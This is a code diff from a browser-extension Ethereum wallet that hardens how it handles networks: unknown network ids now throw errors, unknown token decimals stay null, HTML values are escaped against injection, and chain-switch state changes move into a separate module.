|
// stops that from coming back: a caller that has no network to name has no
|
||||||
|
// business constructing a provider, and there is no longer a default for it
|
||||||
|
// to get silently wrong.
|
||||||
|
//
|
||||||
|
// Validated against NETWORKS rather than passed straight to Network.from():
|
||||||
|
// ethers knows chains this wallet does not, so an id that is not one of ours
|
||||||
|
// is a caller bug and must not resolve to a working provider for some other
|
||||||
|
// chain.
|
||||||
|
function getProvider(rpcUrl, networkId) {
|
||||||
|
const net = Network.from(requireNetworkId(networkId).id);
|
||||||
return new JsonRpcProvider(rpcUrl, net, { staticNetwork: net });
|
return new JsonRpcProvider(rpcUrl, net, { staticNetwork: net });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function requireNetworkId(networkId) {
|
||||||
|
const net = NETWORKS[networkId];
|
||||||
|
if (!net) {
|
||||||
|
throw new Error(
|
||||||
|
"getProvider requires the id of a supported network; got " +
|
||||||
|
JSON.stringify(networkId),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return net;
|
||||||
|
}
|
||||||
|
|
||||||
function formatBalance(wei) {
|
function formatBalance(wei) {
|
||||||
const eth = formatEther(wei);
|
const eth = formatEther(wei);
|
||||||
const parts = eth.split(".");
|
const parts = eth.split(".");
|
||||||
@@ -44,10 +68,28 @@ function formatTokenBalance(raw, decimals) {
|
|||||||
return parts[0] + "." + dec;
|
return parts[0] + "." + dec;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// The explorer's reported holding as an exact base-unit integer, or null when
|
||||||
|
// it reported nothing usable. Base units carry no scale, so this value is
|
||||||
|
// meaningful before the scale is known — which is what lets a holding of zero
|
||||||
|
// be recognised as zero without guessing a scale to divide it by.
|
||||||
|
function rawUnits(value) {
|
||||||
|
if (typeof value === "bigint") return value >= 0n ? value : null;
|
||||||
|
if (typeof value === "number") {
|
||||||
|
return Number.isSafeInteger(value) && value >= 0 ? BigInt(value) : null;
|
||||||
|
}
|
||||||
|
if (typeof value !== "string" || !/^[0-9]+$/.test(value)) return null;
|
||||||
|
return BigInt(value);
|
||||||
|
}
|
||||||
|
|
||||||
// Fetch token balances for a single address from Blockscout.
|
// Fetch token balances for a single address from Blockscout.
|
||||||
// Returns [{ address, symbol, decimals, balance }].
|
// Returns [{ address, name, symbol, decimals, balance, holders }].
|
||||||
// Filters out spam: only shows tokens that are in the known token list,
|
// Filters out spam: only shows tokens that are in the known token list,
|
||||||
// explicitly tracked by the user, or have >= 1000 holders.
|
// explicitly tracked by the user, or have >= 1000 holders.
|
||||||
|
//
|
||||||
|
// `decimals` and `balance` are each null when the answer is unknown, the same
|
||||||
|
// way `holders` already is. Absence is never filled in here: this is the
|
||||||
|
// upstream of every screen that displays a token amount, so a value invented
|
||||||
|
// at this point is indistinguishable from a real one everywhere below it.
|
||||||
async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
|
async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
|
||||||
try {
|
try {
|
||||||
const resp = await debugFetch(
|
const resp = await debugFetch(
|
||||||
@@ -72,11 +114,46 @@ async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
|
|||||||
// is unchanged.
|
// is unchanged.
|
||||||
const type = String(item.token?.type || "").toUpperCase();
|
const type = String(item.token?.type || "").toUpperCase();
|
||||||
if (type !== "ERC-20") continue;
|
if (type !== "ERC-20") continue;
|
||||||
const decimals = parseInt(item.token.decimals || "18", 10);
|
|
||||||
const bal = formatTokenBalance(item.value || "0", decimals);
|
|
||||||
if (bal === "0.0") continue;
|
|
||||||
|
|
||||||
const tokenAddr = (item.token.address_hash || "").toLowerCase();
|
const tokenAddr = (item.token.address_hash || "").toLowerCase();
|
||||||
|
|
||||||
|
// What the explorer reported, or null. NEVER a default: this
|
||||||
|
// value is written to state and every later reader — the approval
|
||||||
|
// screen's amount line, the swap lines, the Send screen — takes it
|
||||||
|
// as the token's resolved scale. A fabricated 18 reads exactly
|
||||||
|
// like a real 18 at that point, so it does not merely display the
|
||||||
|
// wrong quantity, it walks straight past the refusal those screens
|
||||||
|
// already have for a scale nobody knows
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/349).
|
||||||
|
const decimals = toDecimals(item.token.decimals);
|
||||||
|
|
||||||
|
const raw = rawUnits(item.value);
|
||||||
|
// No usable amount at all is nothing to list, exactly as a
|
||||||
|
// formatted "0.0" was before. Checked on the base-unit integer so
|
||||||
|
// it does not depend on knowing the scale: zero base units is zero
|
||||||
|
// tokens at every scale, and a value the explorer did not report
|
||||||
|
// as an integer is not a holding.
|
||||||
|
if (raw === null || raw === 0n) continue;
|
||||||
|
|
||||||
|
// The scale this row's balance is DISPLAYED at, which is not the
|
||||||
|
// same question as what the explorer said. The bundled list and
|
||||||
|
// the tokens the user tracks both outrank the explorer already
|
||||||
|
// (resolveTokenDecimals), so a token they know keeps showing its
|
||||||
|
// real quantity even when the explorer's entry omits decimals.
|
||||||
|
// Only what neither of them nor the explorer knows is unknown.
|
||||||
|
// The stored `decimals` above stays the explorer's own answer
|
||||||
|
// either way: copying another source into it would make
|
||||||
|
// explorerDecimals()'s disagreement check compare something other
|
||||||
|
// than explorer values.
|
||||||
|
const known = resolveTokenDecimals(tokenAddr, { trackedTokens });
|
||||||
|
const scale = known !== null ? known : decimals;
|
||||||
|
// null is a holding of an amount that cannot be stated, which is
|
||||||
|
// not the same as a holding of zero, and must never render as one.
|
||||||
|
// With a scale, the display filter proper applies: a balance that
|
||||||
|
// rounds to zero at six places is dust and is not listed. Without
|
||||||
|
// one there is no such judgement to make, and the row is kept.
|
||||||
|
const bal = scale === null ? null : formatTokenBalance(raw, scale);
|
||||||
|
if (bal === "0.0") continue;
|
||||||
// null means the explorer reported no count, which is not the
|
// null means the explorer reported no count, which is not the
|
||||||
// same as a count of zero. This gate is not the low-holder
|
// same as a count of zero. This gate is not the low-holder
|
||||||
// display filter: it has no user-facing off switch and governs
|
// display filter: it has no user-facing off switch and governs
|
||||||
@@ -105,7 +182,15 @@ async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
|
|||||||
address: item.token.address_hash,
|
address: item.token.address_hash,
|
||||||
name: item.token.name || "",
|
name: item.token.name || "",
|
||||||
symbol: item.token.symbol || "???",
|
symbol: item.token.symbol || "???",
|
||||||
|
// null means the explorer reported no usable scale — unknown,
|
||||||
|
// not 18. Distinguishable from a real 18 at read time is the
|
||||||
|
// entire point: resolveTokenDecimals() falls through a null to
|
||||||
|
// its refusal, and takes an 18 as the answer.
|
||||||
decimals: decimals,
|
decimals: decimals,
|
||||||
|
// null means nothing anywhere knows the scale, so there is no
|
||||||
|
// token quantity to state. Not "0.0": a nonzero holding shown
|
||||||
|
// as zero is the same lie in the balance list that the
|
||||||
|
// approval screens refuse to tell.
|
||||||
balance: bal,
|
balance: bal,
|
||||||
holders: holders,
|
holders: holders,
|
||||||
});
|
});
|
||||||
@@ -118,9 +203,15 @@ async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Fetch ETH balances, ENS names, and ERC-20 token balances for all addresses.
|
// Fetch ETH balances, ENS names, and ERC-20 token balances for all addresses.
|
||||||
async function refreshBalances(wallets, rpcUrl, blockscoutUrl, trackedTokens) {
|
async function refreshBalances(
|
||||||
|
wallets,
|
||||||
|
rpcUrl,
|
||||||
|
blockscoutUrl,
|
||||||
|
trackedTokens,
|
||||||
|
networkId,
|
||||||
|
) {
|
||||||
log.debugf("refreshBalances start, rpc:", rpcUrl);
|
log.debugf("refreshBalances start, rpc:", rpcUrl);
|
||||||
const provider = getProvider(rpcUrl);
|
const provider = getProvider(rpcUrl, networkId);
|
||||||
const updates = [];
|
const updates = [];
|
||||||
|
|
||||||
for (const wallet of wallets) {
|
for (const wallet of wallets) {
|
||||||
@@ -193,9 +284,9 @@ async function refreshBalances(wallets, rpcUrl, blockscoutUrl, trackedTokens) {
|
|||||||
|
|
||||||
// Look up token metadata from its contract.
|
// Look up token metadata from its contract.
|
||||||
// Calls symbol() and decimals() to verify it implements ERC-20.
|
// Calls symbol() and decimals() to verify it implements ERC-20.
|
||||||
async function lookupTokenInfo(contractAddress, rpcUrl) {
|
async function lookupTokenInfo(contractAddress, rpcUrl, networkId) {
|
||||||
log.debugf("lookupTokenInfo", contractAddress, "rpc:", rpcUrl);
|
log.debugf("lookupTokenInfo", contractAddress, "rpc:", rpcUrl);
|
||||||
const provider = getProvider(rpcUrl);
|
const provider = getProvider(rpcUrl, networkId);
|
||||||
const contract = new Contract(contractAddress, ERC20_ABI, provider);
|
const contract = new Contract(contractAddress, ERC20_ABI, provider);
|
||||||
|
|
||||||
let name, symbol, decimals;
|
let name, symbol, decimals;
|
||||||
@@ -235,9 +326,9 @@ async function lookupTokenInfo(contractAddress, rpcUrl) {
|
|||||||
// Checks gapLimit addresses in parallel per batch. Stops when an entire
|
// Checks gapLimit addresses in parallel per batch. Stops when an entire
|
||||||
// batch has no used addresses (i.e. gapLimit consecutive empty addresses).
|
// batch has no used addresses (i.e. gapLimit consecutive empty addresses).
|
||||||
// Returns { addresses: [{ address, index }], nextIndex }.
|
// Returns { addresses: [{ address, index }], nextIndex }.
|
||||||
async function scanForAddresses(xpub, rpcUrl, gapLimit = 5) {
|
async function scanForAddresses(xpub, rpcUrl, networkId, gapLimit = 5) {
|
||||||
log.debugf("scanForAddresses start, gapLimit:", gapLimit);
|
log.debugf("scanForAddresses start, gapLimit:", gapLimit);
|
||||||
const provider = getProvider(rpcUrl);
|
const provider = getProvider(rpcUrl, networkId);
|
||||||
const used = [];
|
const used = [];
|
||||||
let checked = 0;
|
let checked = 0;
|
||||||
let checkUpTo = gapLimit;
|
let checkUpTo = gapLimit;
|
||||||
|
|||||||
@@ -194,6 +194,23 @@ function storageSet(items) {
|
|||||||
return Promise.resolve(storage.set(items));
|
return Promise.resolve(storage.set(items));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Erase stored keys. The one caller is the destructive reset on the recovery
|
||||||
|
* screen (src/popup/views/stateRecovery.js), which is the only way out of a
|
||||||
|
* profile no build can read; it rejects rather than defaulting for the same
|
||||||
|
* reason the two above do — a reset that silently did nothing would leave the
|
||||||
|
* user in the dead end they were promised an exit from.
|
||||||
|
*
|
||||||
|
* @param {string|string[]} keys
|
||||||
|
* @returns {Promise<void>}
|
||||||
|
* @throws rejects where `storage.local` is absent.
|
||||||
|
*/
|
||||||
|
function storageRemove(keys) {
|
||||||
|
const storage = storageLocal();
|
||||||
|
if (!storage) return storageUnavailable("remove");
|
||||||
|
return Promise.resolve(storage.remove(keys));
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param {Object} queryInfo
|
* @param {Object} queryInfo
|
||||||
* @returns {Promise<Array>} the matching tabs.
|
* @returns {Promise<Array>} the matching tabs.
|
||||||
@@ -251,6 +268,7 @@ module.exports = {
|
|||||||
sendMessage,
|
sendMessage,
|
||||||
storageGet,
|
storageGet,
|
||||||
storageLocal,
|
storageLocal,
|
||||||
|
storageRemove,
|
||||||
storageSet,
|
storageSet,
|
||||||
tabsApi,
|
tabsApi,
|
||||||
tabsQuery,
|
tabsQuery,
|
||||||
|
|||||||
@@ -1,14 +1,23 @@
|
|||||||
// Consolidated chain-switch handler.
|
// Consolidated chain-switch handler for the popup.
|
||||||
//
|
//
|
||||||
// Every state change required when the active network changes is
|
// Every state change required when the active network changes is
|
||||||
// performed here so that callers (settings UI, background
|
// performed here so that callers (settings UI, future chain additions) all go
|
||||||
// wallet_switchEthereumChain, future chain additions) all go
|
|
||||||
// through a single code path.
|
// through a single code path.
|
||||||
//
|
//
|
||||||
// Adding a new chain (e.g. ETC) requires only a new entry in
|
// Adding a new chain (e.g. ETC) requires only a new entry in
|
||||||
// networks.js — no per-caller wiring is needed.
|
// networks.js — no per-caller wiring is needed.
|
||||||
|
//
|
||||||
|
// The background does NOT come through here: this function mutates the
|
||||||
|
// module-level `state` singleton, which the MV3 service worker never
|
||||||
|
// populates, and a background switch performed on it wrote DEFAULT_STATE over
|
||||||
|
// the user's whole profile
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/316). The field mutations
|
||||||
|
// themselves live in chainSwitchFields.js, which takes the record to mutate as
|
||||||
|
// an argument; src/background/state.js applies them inside a read-modify-write
|
||||||
|
// against storage, and the singleton is not reachable from the background
|
||||||
|
// bundle at all (enforced by the ESLint rule in eslint.config.js).
|
||||||
|
|
||||||
const { networkById } = require("./networks");
|
const { applyChainSwitchFields } = require("./chainSwitchFields");
|
||||||
const { clearPrices } = require("./prices");
|
const { clearPrices } = require("./prices");
|
||||||
|
|
||||||
// Switch the active chain and reset all chain-specific cached state.
|
// Switch the active chain and reset all chain-specific cached state.
|
||||||
@@ -16,56 +25,14 @@ const { clearPrices } = require("./prices");
|
|||||||
async function onChainSwitch(newNetworkId) {
|
async function onChainSwitch(newNetworkId) {
|
||||||
const { state, saveState } = require("./state");
|
const { state, saveState } = require("./state");
|
||||||
|
|
||||||
const net = networkById(newNetworkId);
|
const net = applyChainSwitchFields(state, newNetworkId);
|
||||||
|
|
||||||
// --- core identity ---
|
|
||||||
// Endpoints are remembered per network rather than reset to the
|
|
||||||
// defaults, because a user who points the wallet at their own node has
|
|
||||||
// no way to get that URL back once it is gone: overwriting it moved
|
|
||||||
// every address and every transaction onto a third-party endpoint
|
|
||||||
// silently and permanently.
|
|
||||||
//
|
|
||||||
// state.rpcUrl / state.blockscoutUrl stay the live endpoints of the
|
|
||||||
// active network, so nothing that reads them changes. The invariant is
|
|
||||||
// that for the ACTIVE network those two fields are authoritative and
|
|
||||||
// the map entry may be stale (Settings writes the fields directly);
|
|
||||||
// for every other network the map is authoritative. Snapshotting the
|
|
||||||
// outgoing network here, before the switch, is what reconciles them.
|
|
||||||
state.networkEndpoints[state.networkId] = {
|
|
||||||
rpcUrl: state.rpcUrl,
|
|
||||||
blockscoutUrl: state.blockscoutUrl,
|
|
||||||
};
|
|
||||||
const remembered = state.networkEndpoints[net.id] || {};
|
|
||||||
state.networkId = net.id;
|
|
||||||
state.rpcUrl = remembered.rpcUrl || net.defaultRpcUrl;
|
|
||||||
state.blockscoutUrl = remembered.blockscoutUrl || net.defaultBlockscoutUrl;
|
|
||||||
|
|
||||||
// --- price cache ---
|
// --- price cache ---
|
||||||
// Prices are chain-specific (testnet tokens are worthless,
|
// Prices are chain-specific (testnet tokens are worthless,
|
||||||
// ETC has different pricing, etc.).
|
// ETC has different pricing, etc.). In-memory and per bundle, so this is
|
||||||
|
// the popup's own cache — the only context that ever fills it.
|
||||||
clearPrices();
|
clearPrices();
|
||||||
|
|
||||||
// --- balance / refresh state ---
|
|
||||||
// Reset last-refresh timestamp so the next polling cycle
|
|
||||||
// triggers an immediate balance refresh on the new chain.
|
|
||||||
state.lastBalanceRefresh = 0;
|
|
||||||
|
|
||||||
// Clear per-address balances and token balances so stale data
|
|
||||||
// from the previous chain is never displayed while the first
|
|
||||||
// refresh on the new chain is in flight.
|
|
||||||
for (const wallet of state.wallets) {
|
|
||||||
for (const addr of wallet.addresses) {
|
|
||||||
addr.balance = "0";
|
|
||||||
addr.tokenBalances = [];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// --- chain-specific caches ---
|
|
||||||
// Token holder counts and fraud contract lists are
|
|
||||||
// chain-specific and must not carry over.
|
|
||||||
state.tokenHolderCache = {};
|
|
||||||
state.fraudContracts = [];
|
|
||||||
|
|
||||||
await saveState();
|
await saveState();
|
||||||
|
|
||||||
return net;
|
return net;
|
||||||
|
|||||||
69
src/shared/chainSwitchFields.js
Normal file
69
src/shared/chainSwitchFields.js
Normal file
@@ -0,0 +1,69 @@
|
|||||||
|
// The field mutations a chain switch performs, applied to a state record
|
||||||
|
// handed in rather than to the module-level `state` singleton.
|
||||||
|
//
|
||||||
|
// Split out of chainSwitch.js so the background can perform a chain switch
|
||||||
|
// without the singleton being reachable from its bundle at all. The popup
|
||||||
|
// still goes through onChainSwitch() (chainSwitch.js), which applies this to
|
||||||
|
// the singleton and saves; the background applies it to the detached record of
|
||||||
|
// its own read-modify-write (src/background/state.js).
|
||||||
|
//
|
||||||
|
// Everything here is synchronous and touches nothing but the object it is
|
||||||
|
// given: no storage, no caches, no imports beyond the network table. That is
|
||||||
|
// what makes it usable on a record that has been read fresh from storage
|
||||||
|
// microseconds earlier and is about to be written back.
|
||||||
|
|
||||||
|
const { networkById } = require("./networks");
|
||||||
|
|
||||||
|
// Switch `s` to `newNetworkId` and reset every piece of chain-specific state
|
||||||
|
// it carries. Returns the network configuration object for the new chain.
|
||||||
|
function applyChainSwitchFields(s, newNetworkId) {
|
||||||
|
const net = networkById(newNetworkId);
|
||||||
|
|
||||||
|
// --- core identity ---
|
||||||
|
// Endpoints are remembered per network rather than reset to the
|
||||||
|
// defaults, because a user who points the wallet at their own node has
|
||||||
|
// no way to get that URL back once it is gone: overwriting it moved
|
||||||
|
// every address and every transaction onto a third-party endpoint
|
||||||
|
// silently and permanently.
|
||||||
|
//
|
||||||
|
// s.rpcUrl / s.blockscoutUrl stay the live endpoints of the active
|
||||||
|
// network, so nothing that reads them changes. The invariant is that for
|
||||||
|
// the ACTIVE network those two fields are authoritative and the map entry
|
||||||
|
// may be stale (Settings writes the fields directly); for every other
|
||||||
|
// network the map is authoritative. Snapshotting the outgoing network
|
||||||
|
// here, before the switch, is what reconciles them.
|
||||||
|
if (!s.networkEndpoints) s.networkEndpoints = {};
|
||||||
|
s.networkEndpoints[s.networkId] = {
|
||||||
|
rpcUrl: s.rpcUrl,
|
||||||
|
blockscoutUrl: s.blockscoutUrl,
|
||||||
|
};
|
||||||
|
const remembered = s.networkEndpoints[net.id] || {};
|
||||||
|
s.networkId = net.id;
|
||||||
|
s.rpcUrl = remembered.rpcUrl || net.defaultRpcUrl;
|
||||||
|
s.blockscoutUrl = remembered.blockscoutUrl || net.defaultBlockscoutUrl;
|
||||||
|
|
||||||
|
// --- balance / refresh state ---
|
||||||
|
// Reset last-refresh timestamp so the next polling cycle
|
||||||
|
// triggers an immediate balance refresh on the new chain.
|
||||||
|
s.lastBalanceRefresh = 0;
|
||||||
|
|
||||||
|
// Clear per-address balances and token balances so stale data
|
||||||
|
// from the previous chain is never displayed while the first
|
||||||
|
// refresh on the new chain is in flight.
|
||||||
|
for (const wallet of s.wallets || []) {
|
||||||
|
for (const addr of wallet.addresses || []) {
|
||||||
|
addr.balance = "0";
|
||||||
|
addr.tokenBalances = [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- chain-specific caches ---
|
||||||
|
// Token holder counts and fraud contract lists are
|
||||||
|
// chain-specific and must not carry over.
|
||||||
|
s.tokenHolderCache = {};
|
||||||
|
s.fraudContracts = [];
|
||||||
|
|
||||||
|
return net;
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = { applyChainSwitchFields };
|
||||||
@@ -32,11 +32,11 @@ function setCache(address, name) {
|
|||||||
localStorage.setItem(key, JSON.stringify({ name, ts: Date.now() }));
|
localStorage.setItem(key, JSON.stringify({ name, ts: Date.now() }));
|
||||||
}
|
}
|
||||||
|
|
||||||
async function resolveEnsName(address, rpcUrl) {
|
async function resolveEnsName(address, rpcUrl, networkId) {
|
||||||
const cached = getCached(address);
|
const cached = getCached(address);
|
||||||
if (cached !== undefined) return cached;
|
if (cached !== undefined) return cached;
|
||||||
|
|
||||||
const provider = getProvider(rpcUrl);
|
const provider = getProvider(rpcUrl, networkId);
|
||||||
try {
|
try {
|
||||||
const name = (await provider.lookupAddress(address)) || null;
|
const name = (await provider.lookupAddress(address)) || null;
|
||||||
setCache(address, name);
|
setCache(address, name);
|
||||||
@@ -48,11 +48,11 @@ async function resolveEnsName(address, rpcUrl) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function resolveEnsNames(addresses, rpcUrl) {
|
async function resolveEnsNames(addresses, rpcUrl, networkId) {
|
||||||
const results = new Map();
|
const results = new Map();
|
||||||
await Promise.all(
|
await Promise.all(
|
||||||
addresses.map(async (addr) => {
|
addresses.map(async (addr) => {
|
||||||
results.set(addr, await resolveEnsName(addr, rpcUrl));
|
results.set(addr, await resolveEnsName(addr, rpcUrl, networkId));
|
||||||
}),
|
}),
|
||||||
);
|
);
|
||||||
return results;
|
return results;
|
||||||
|
|||||||
41
src/shared/html.js
Normal file
41
src/shared/html.js
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
// HTML escaping for values interpolated into an innerHTML string.
|
||||||
|
//
|
||||||
|
// Every view in src/popup/views/ builds markup by string concatenation, so
|
||||||
|
// this is the only thing standing between a value the wallet did not author
|
||||||
|
// and the extension's own DOM. The values that reach it are attacker
|
||||||
|
// controlled by design: an ERC-20's symbol() and name() are whatever the
|
||||||
|
// contract chooses to return, an ENS name is whatever the resolver returns,
|
||||||
|
// and both arrive through the block explorer with no schema.
|
||||||
|
//
|
||||||
|
// It escapes both quote characters as well as the tag delimiters, because
|
||||||
|
// the popup interpolates into attribute values as well as into element
|
||||||
|
// text — copyableHtml() writes data-copy="..." and etherscanLinkHtml()
|
||||||
|
// writes href="...". A `<`/`>`-only escape leaves an unquoted-attribute
|
||||||
|
// break-out intact, and the round trip through a detached element's
|
||||||
|
// textContent that used to implement this was exactly that escape: the
|
||||||
|
// HTML serializer only escapes `&`, `<`, `>` and U+00A0 in a text node,
|
||||||
|
// since a text node has no idea it is about to be pasted inside quotes.
|
||||||
|
//
|
||||||
|
// Deliberately a pure string function with no DOM dependency: it is called
|
||||||
|
// on every rendered row, it is unit-testable without a document, and it
|
||||||
|
// cannot be affected by the state of a document that an attacker-supplied
|
||||||
|
// string has already been written into.
|
||||||
|
|
||||||
|
const HTML_ESCAPES = {
|
||||||
|
"&": "&",
|
||||||
|
"<": "<",
|
||||||
|
">": ">",
|
||||||
|
'"': """,
|
||||||
|
"'": "'",
|
||||||
|
};
|
||||||
|
|
||||||
|
// `&` is escaped first by virtue of being in the same pass: a sequential
|
||||||
|
// replace would re-escape the ampersands it had just introduced.
|
||||||
|
function escapeHtml(s) {
|
||||||
|
if (s === null || s === undefined) return "";
|
||||||
|
return String(s).replace(/[&<>"']/g, (c) => HTML_ESCAPES[c]);
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = {
|
||||||
|
escapeHtml,
|
||||||
|
};
|
||||||
@@ -31,8 +31,42 @@ const SUPPORTED_CHAIN_IDS = new Set(
|
|||||||
Object.values(NETWORKS).map((n) => n.chainId),
|
Object.values(NETWORKS).map((n) => n.chainId),
|
||||||
);
|
);
|
||||||
|
|
||||||
|
// Thrown rather than defaulted. An id this build does not know used to answer
|
||||||
|
// with MAINNET, so a stored `{networkId:"base"}` rendered the selector as
|
||||||
|
// Ethereum Mainnet with no banner and answered eth_chainId 0x1, while rpcUrl
|
||||||
|
// still pointed at Base — the wallet telling the user and the page one chain
|
||||||
|
// while transacting on another. Nothing in this codebase has an unknown id to
|
||||||
|
// offer: stored state is validated against this table before it is loaded
|
||||||
|
// (src/shared/stateSchema.js), and every other caller passes an id it took
|
||||||
|
// from here. So an unknown id is a defect, and it says so, the same way
|
||||||
|
// getProvider() (src/shared/balances.js) already refuses one.
|
||||||
|
class UnknownNetworkError extends Error {
|
||||||
|
constructor(id) {
|
||||||
|
super(
|
||||||
|
"AutistMask does not know the network " +
|
||||||
|
JSON.stringify(id) +
|
||||||
|
"; it supports " +
|
||||||
|
Object.keys(NETWORKS).join(", "),
|
||||||
|
);
|
||||||
|
this.name = "UnknownNetworkError";
|
||||||
|
this.networkId = id;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Own properties only: NETWORKS inherits from Object.prototype, so
|
||||||
|
// NETWORKS["constructor"] and NETWORKS["__proto__"] both answer with something
|
||||||
|
// truthy that is not a network. A stored id is untrusted input, and this is
|
||||||
|
// the test the validator uses to decide whether it may be adopted at all.
|
||||||
|
function isKnownNetworkId(id) {
|
||||||
|
return (
|
||||||
|
typeof id === "string" &&
|
||||||
|
Object.prototype.hasOwnProperty.call(NETWORKS, id)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
function networkById(id) {
|
function networkById(id) {
|
||||||
return NETWORKS[id] || NETWORKS.mainnet;
|
if (!isKnownNetworkId(id)) throw new UnknownNetworkError(id);
|
||||||
|
return NETWORKS[id];
|
||||||
}
|
}
|
||||||
|
|
||||||
function networkByChainId(chainId) {
|
function networkByChainId(chainId) {
|
||||||
@@ -51,6 +85,8 @@ function explorerLink(network, type, value) {
|
|||||||
module.exports = {
|
module.exports = {
|
||||||
NETWORKS,
|
NETWORKS,
|
||||||
SUPPORTED_CHAIN_IDS,
|
SUPPORTED_CHAIN_IDS,
|
||||||
|
UnknownNetworkError,
|
||||||
|
isKnownNetworkId,
|
||||||
networkById,
|
networkById,
|
||||||
networkByChainId,
|
networkByChainId,
|
||||||
explorerLink,
|
explorerLink,
|
||||||
|
|||||||
425
src/shared/persistedState.js
Normal file
425
src/shared/persistedState.js
Normal file
@@ -0,0 +1,425 @@
|
|||||||
|
// The shape of the persisted profile, and the normalization every read of it
|
||||||
|
// goes through. No singleton, no storage access, no browser API: just the
|
||||||
|
// record definition and pure functions over it.
|
||||||
|
//
|
||||||
|
// Split out of state.js so that a context which must never touch the
|
||||||
|
// module-level `state` singleton can still speak the same record format.
|
||||||
|
// src/background/state.js is that context — the MV3 service worker never
|
||||||
|
// populates the singleton, and every defect in
|
||||||
|
// https://git.eeqj.de/sneak/AutistMask/issues/324 came from background code
|
||||||
|
// reaching it anyway and being served DEFAULT_STATE.
|
||||||
|
|
||||||
|
const { DEFAULT_RPC_URL, DEFAULT_BLOCKSCOUT_URL } = require("./constants");
|
||||||
|
const { isKnownNetworkId } = require("./networks");
|
||||||
|
const { STATE_SCHEMA_VERSION } = require("./stateSchema");
|
||||||
|
// Dependency-free constant module. It lives under src/shared/ rather than
|
||||||
|
// src/popup/ precisely because this module is in the background bundle: a
|
||||||
|
// popup-path module reached from the worker is the shape the prohibition in
|
||||||
|
// script/lib/forbiddenBundleInputs.js exists to keep out, even when the
|
||||||
|
// particular module is harmless.
|
||||||
|
const { RESTORABLE_VIEWS } = require("./restorableViews");
|
||||||
|
|
||||||
|
const DEFAULT_STATE = {
|
||||||
|
hasWallet: false,
|
||||||
|
wallets: [],
|
||||||
|
trackedTokens: [],
|
||||||
|
networkId: "mainnet",
|
||||||
|
rpcUrl: DEFAULT_RPC_URL,
|
||||||
|
blockscoutUrl: DEFAULT_BLOCKSCOUT_URL,
|
||||||
|
// Endpoints remembered per network: { [networkId]: { rpcUrl,
|
||||||
|
// blockscoutUrl } }. rpcUrl/blockscoutUrl above are the live endpoints
|
||||||
|
// of the active network; this is what the others are restored from
|
||||||
|
// when the active network changes. See applyChainSwitchFields().
|
||||||
|
networkEndpoints: {},
|
||||||
|
lastBalanceRefresh: 0,
|
||||||
|
activeAddress: null,
|
||||||
|
allowedSites: {},
|
||||||
|
deniedSites: {},
|
||||||
|
rememberSiteChoice: true,
|
||||||
|
showZeroBalanceTokens: true,
|
||||||
|
hideSpoofedSymbols: true,
|
||||||
|
hideLowHolderTokens: true,
|
||||||
|
hideFraudContracts: true,
|
||||||
|
hideDustTransactions: true,
|
||||||
|
dustThresholdGwei: 100000,
|
||||||
|
utcTimestamps: false,
|
||||||
|
fraudContracts: [],
|
||||||
|
tokenHolderCache: {},
|
||||||
|
theme: "system",
|
||||||
|
debugMode: false,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Every field written to and read from the single "autistmask" storage key.
|
||||||
|
// hasWallet is deliberately excluded from the diffing/merge logic in
|
||||||
|
// state.js — like loadState() does, it is always derived from `wallets`,
|
||||||
|
// never carried as an independent value. schemaVersion is excluded for the
|
||||||
|
// same reason and is absent from DEFAULT_STATE for it: it describes the
|
||||||
|
// record rather than being part of it, and every write stamps the current
|
||||||
|
// value rather than diffing whatever was read.
|
||||||
|
const PERSISTED_FIELDS = Object.keys(DEFAULT_STATE)
|
||||||
|
.filter((key) => key !== "hasWallet")
|
||||||
|
.concat([
|
||||||
|
"currentView",
|
||||||
|
"selectedWallet",
|
||||||
|
"selectedAddress",
|
||||||
|
"selectedToken",
|
||||||
|
"viewData",
|
||||||
|
"viewStack",
|
||||||
|
]);
|
||||||
|
|
||||||
|
function isRecord(value) {
|
||||||
|
return typeof value === "object" && value !== null && !Array.isArray(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
// A list of token references, as everything downstream dereferences them:
|
||||||
|
// `t.address.toLowerCase()`, with no guard of its own (src/shared/balances.js,
|
||||||
|
// src/popup/views/helpers.js, and every view that shows a balance line).
|
||||||
|
//
|
||||||
|
// Both the container AND the entries, because they are separate defects. A
|
||||||
|
// container check alone leaves a well-formed list of malformed entries walking
|
||||||
|
// through to a dereference one level below the check, which is the same blank
|
||||||
|
// popup: `[1, 2]` and `[{}]` are lists.
|
||||||
|
//
|
||||||
|
// A malformed entry is DROPPED rather than repaired: a token reference with no
|
||||||
|
// address identifies nothing, so there is no value to repair it to, and the
|
||||||
|
// alternative — refusing the whole record — sends a user whose wallets are
|
||||||
|
// perfectly readable to an export-or-erase screen over a token list. An entry
|
||||||
|
// that is a record with a text address is kept verbatim, extra fields and all.
|
||||||
|
//
|
||||||
|
// Verbatim is load-bearing for the fields BESIDE the address. A tokenBalances
|
||||||
|
// entry carries `decimals: null` and `balance: null` when nothing knows the
|
||||||
|
// token's scale (src/shared/balances.js,
|
||||||
|
// https://git.eeqj.de/sneak/AutistMask/issues/349), and those nulls are the
|
||||||
|
// record that the value is unknown. Only `address` decides whether an entry
|
||||||
|
// survives, so an unknown-scale holding is kept — flooring a null here to some
|
||||||
|
// default would put the guess back one layer down from where it was removed.
